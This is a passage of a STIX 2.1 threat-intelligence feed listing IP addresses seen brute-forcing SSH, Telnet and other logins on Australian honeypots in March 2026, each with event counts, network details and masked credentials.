      "id": "indicator--b5455d5a-2438-4799-9d04-f53c88f89ee5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.35.36.227']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 106. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 18881. Organisation(s): TELEFONICA BRASIL S.A. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********y, 3***********4, 3**********4, B********3, Q*******3.",
      "id": "indicator--8d4bccb1-0edc-4872-b8a4-7c4d6d89d90d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '177.157.199.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--43f8a94a-6ec0-486d-94cd-71635051e159",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '182.114.201.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 112. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: MK. ASN(s): 212645. Organisation(s): Globalsat Dooel. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1*********t, 3***********4, 3**********4, 7******,, A********a.",
      "id": "indicator--bbc5e312-87a8-48b1-a232-80c7bd3b50bd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '185.193.240.246']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 18. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DO. ASN(s): 6400. Organisation(s): Compania Dominicana de Telefonos S. A.. Usernames observed (masked): r**t. Passwords observed (masked): 1**********5, c*******6, s******n.",
      "id": "indicator--538daff8-76c7-41c4-9965-47822f36ac01",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '190.167.237.191']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 274. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n, u****u. Passwords observed (masked): 0****0, 1****1, ***, 1****3, 1**4.",
      "id": "indicator--2860f005-1dee-42f9-aff2-85fb502dcde1",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.241.132.13']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--754d36fa-3c97-4a0c-b09e-a668ad91e556",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '60.177.222.251']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 62. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1**4, 1****6, 1*******9, a***n, p******d.",
      "id": "indicator--6e47d79d-ae36-4f03-bad9-557bdde2e795",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.227.187.53']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 30. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t. Passwords observed (masked): 1****6, p******d.",
      "id": "indicator--4acf77eb-bf69-4470-9e5b-9e807e05fc1c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '67.205.146.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 363. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: GB. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): p******s, r**t, o****e, a****e, d****y. Passwords observed (masked): ***, 1****1, 1****6, ***, 6****1.",
      "id": "indicator--a074ff39-947f-4268-b078-73cb8c9436e8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '68.183.32.61']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T14:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 22. Source country: NL. ASN(s): 205759. Organisation(s): Ghosty Networks LLC.",
      "id": "indicator--4820d1e5-3c93-4689-a194-c89e71434219",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T14:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '83.142.209.8']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T14:15:13.000Z",
      "valid_until": "2026-04-04T14:15:12.000Z"
    },
    {
      "created": "2026-03-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 94. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 135905. Organisation(s): VIETNAM POSTS AND TELECOMMUNICATIONS GROUP. Usernames observed (masked): r**t. Passwords observed (masked): 1*******d, 3***********4, W******6, Z*******3, Z*******6.",
      "id": "indicator--c55d2484-e410-4432-9244-5e0a68a23ec0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '14.225.205.58']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T15:15:13.000Z",
      "valid_until": "2026-04-04T15:15:12.000Z"
    },
    {
      "created": "2026-03-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 202. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: IN. ASN(s): 14061. Organisation(s): DigitalOcean, LLC. Usernames observed (masked): r**t, a***n. Passwords observed (masked): 1****1, 1****3, 1***5, 1****6, 1******8.",
      "id": "indicator--edec7127-9932-4105-9679-deb54846ffa0",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '143.110.241.145']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T15:15:13.000Z",
      "valid_until": "2026-04-04T15:15:12.000Z"
    },
    {
      "created": "2026-03-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 124. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PH. ASN(s): 17639. Organisation(s): Converge ICT Solutions Inc.. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): !**********3, 3***********4, 3**********4, A*******!, A******2.",
      "id": "indicator--16b33905-87b2-4418-994b-958fd450c8a7",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '161.49.89.39']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T15:15:13.000Z",
      "valid_until": "2026-04-04T15:15:12.000Z"
    },
    {
      "created": "2026-03-03T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 9541. Organisation(s): Cyber Internet Services Pvt Ltd..",
      "id": "indicator--e1bf163f-55f7-4e66-8dbc-9ca5b959e7bf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '175.107.224.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T15:15:13.000Z",
      "valid_until": "2026-04-04T15:15:12.000Z"
    },
    {
      "created": "2026-03-03T15:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 134674. Organisation(s): TATA PLAY BROADBAND PRIVATE LIMITED.",
      "id": "indicator--d501647f-e230-4f8a-9ab7-9311ecb9c1cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '210.89.34.113']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T15:15:13.000Z",
      "valid_until": "2026-04-04T15:15:12.000Z"
    },
    {
      "created": "2026-03-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BG. ASN(s): 8717. Organisation(s): A1 Bulgaria EAD. Usernames observed (masked): r**t. Passwords observed (masked): 1*******q.",
      "id": "indicator--d839b69d-bbd1-4433-862a-681eed138cd8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '213.169.44.220']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T15:15:13.000Z",
      "valid_until": "2026-04-04T15:15:12.000Z"
    },
    {
      "created": "2026-03-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Heralding. Target ports: 5432. Source country: GB. ASN(s): 401626. Organisation(s): Netiface America, Inc.. Usernames observed (masked): p******s. Passwords observed (masked): 1****6, p******d, p******s.",
      "id": "indicator--d2cc555d-a3a1-4c12-a284-d1b4bd25d619",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '64.89.163.81']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T15:15:13.000Z",
      "valid_until": "2026-04-04T15:15:12.000Z"
    },
    {
      "created": "2026-03-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 6939. Organisation(s): Hurricane Electric LLC.",
      "id": "indicator--549b2ccc-a783-49f8-b59c-9ad2d718897b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '65.49.1.90']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T15:15:13.000Z",
      "valid_until": "2026-04-04T15:15:12.000Z"
    },
    {
      "created": "2026-03-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 6. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 63949. Organisation(s): Akamai Connected Cloud.",
      "id": "indicator--ee8e6bce-8b50-4cee-bbd5-cbf3156165e9",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '66.228.53.46']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T15:15:13.000Z",
      "valid_until": "2026-04-04T15:15:12.000Z"
    },
    {
      "created": "2026-03-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 193. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: RU. ASN(s): 3216. Organisation(s): PVimpelCom. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, d****i, 0**********1, 1********a.",
      "id": "indicator--66dd9939-7f17-47ff-83fc-47ff9b0c2431",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '81.211.72.167']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T15:15:13.000Z",
      "valid_until": "2026-04-04T15:15:12.000Z"
    },
    {
      "created": "2026-03-03T15:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 10. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 215925. Organisation(s): Vpsvault.host Ltd.",
      "id": "indicator--0f224ef0-aa40-4c39-9c36-1253c5c63ad8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T15:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.121.84.24']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T15:15:13.000Z",
      "valid_until": "2026-04-04T15:15:12.000Z"
    },
    {
      "created": "2026-03-03T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 68. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 136052. Organisation(s): PT Cloud Hosting Indonesia. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 0********1, 3***********4, 3**********4, A*********$, Q**********6.",
      "id": "indicator--a753559b-de55-41f9-b6d2-388fff534a0a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.179.56.44']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:15:13.000Z",
      "valid_until": "2026-04-04T16:15:11.000Z"
    },
    {
      "created": "2026-03-03T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 3. Sensors involved: Cowrie. Target ports: 23. Source country: NL. ASN(s): 207083. Organisation(s): HostSlim B.V.. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--1787b9f4-d022-4911-9d8c-4d10dcc6e2f5",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '103.214.5.133']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:15:13.000Z",
      "valid_until": "2026-04-04T16:15:11.000Z"
    },
    {
      "created": "2026-03-03T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 45538. Organisation(s): ODS Joint Stock Company. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3.",
      "id": "indicator--76d41842-f55b-4074-ba05-cbe2689eecd2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '112.78.1.94']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:15:13.000Z",
      "valid_until": "2026-04-04T16:15:11.000Z"
    },
    {
      "created": "2026-03-03T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 396982. Organisation(s): Google LLC.",
      "id": "indicator--4f4a2851-f9fc-40eb-a980-3d471a8ff54c",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '147.185.132.25']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:15:13.000Z",
      "valid_until": "2026-04-04T16:15:11.000Z"
    },
    {
      "created": "2026-03-03T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 26. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: HK. ASN(s): 135377. Organisation(s): UCLOUD INFORMATION TECHNOLOGY HK LIMITED. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3***********4, 3**********4, B********3.",
      "id": "indicator--9f66db7c-ff4e-41ba-87ca-444e4c84a881",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '152.32.252.65']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:15:13.000Z",
      "valid_until": "2026-04-04T16:15:11.000Z"
    },
    {
      "created": "2026-03-03T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 55. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 36352. Organisation(s): HostPapa. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 3**********4, A*******~, P***********3, R******3, T********6.",
      "id": "indicator--0dcd8d83-760e-4cf3-82be-9c0104a7068a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '192.210.239.187']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:15:13.000Z",
      "valid_until": "2026-04-04T16:15:11.000Z"
    },
    {
      "created": "2026-03-03T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 80. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: SC. ASN(s): 42624. Organisation(s): Global-Data System IT Corporation. Usernames observed (masked): r**t, 3**********4. Passwords observed (masked): 1****4, 1*******#, 3***********4, 3**********4, @******3.",
      "id": "indicator--1c19e933-cd9c-423d-bfb0-79a5e94415ba",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '212.11.64.103']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:15:13.000Z",
      "valid_until": "2026-04-04T16:15:11.000Z"
    },
    {
      "created": "2026-03-03T16:15:13.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--b4535b88-6e7b-4013-8980-1abc62dd15cc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '59.62.201.47']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:15:13.000Z",
      "valid_until": "2026-04-04T16:15:11.000Z"
    },
    {
      "created": "2026-03-03T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 1. Sensors involved: Heralding. Target ports: 110. Source country: CN. ASN(s): 45090. Organisation(s): Shenzhen Tencent Computer Systems Company Limited. Usernames observed (masked): p********r@kelltech.dev. Passwords observed (masked): K******h.",
      "id": "indicator--52309ece-0749-404b-8ae6-8c83f5957fff",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '82.156.231.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:15:13.000Z",
      "valid_until": "2026-04-04T16:15:11.000Z"
    },
    {
      "created": "2026-03-03T16:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 319. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: FR. ASN(s): 8560. Organisation(s): IONOS SE. Usernames observed (masked): r**t, a***n, t**t, o****e. Passwords observed (masked): *, **, ***, 1**4, 1***5.",
      "id": "indicator--09c217d7-de8e-4254-a492-0966ff3eca97",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T16:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '87.106.213.49']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T16:15:13.000Z",
      "valid_until": "2026-04-04T16:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via unknown against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Heralding. Target ports: 110. Source country: IN. ASN(s): 131269. Organisation(s): Atria Convergence Technologies Ltd.. Usernames observed (masked): i**o@kelltech.dev, n******y@kelltech.dev. Passwords observed (masked): k***********#, k**********6.",
      "id": "indicator--d962be3a-4355-4e3e-b3a9-ac85b09f8512",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '106.51.154.157']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 20. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 134420. Organisation(s): Chongqing Telecom. Usernames observed (masked): r**t. Passwords observed (masked): 1******., A******5.",
      "id": "indicator--c0f7c426-6e0c-47af-a920-08b43cad7b4d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-03-03T17:15:13.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - March 2026",
      "pattern": "[ipv4-addr:value = '113.249.111.200']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-03-03T17:15:13.000Z",
      "valid_until": "2026-04-04T17:15:11.000Z"
    },
    {
      "created": "2026-03-03T17:15:13.000Z",
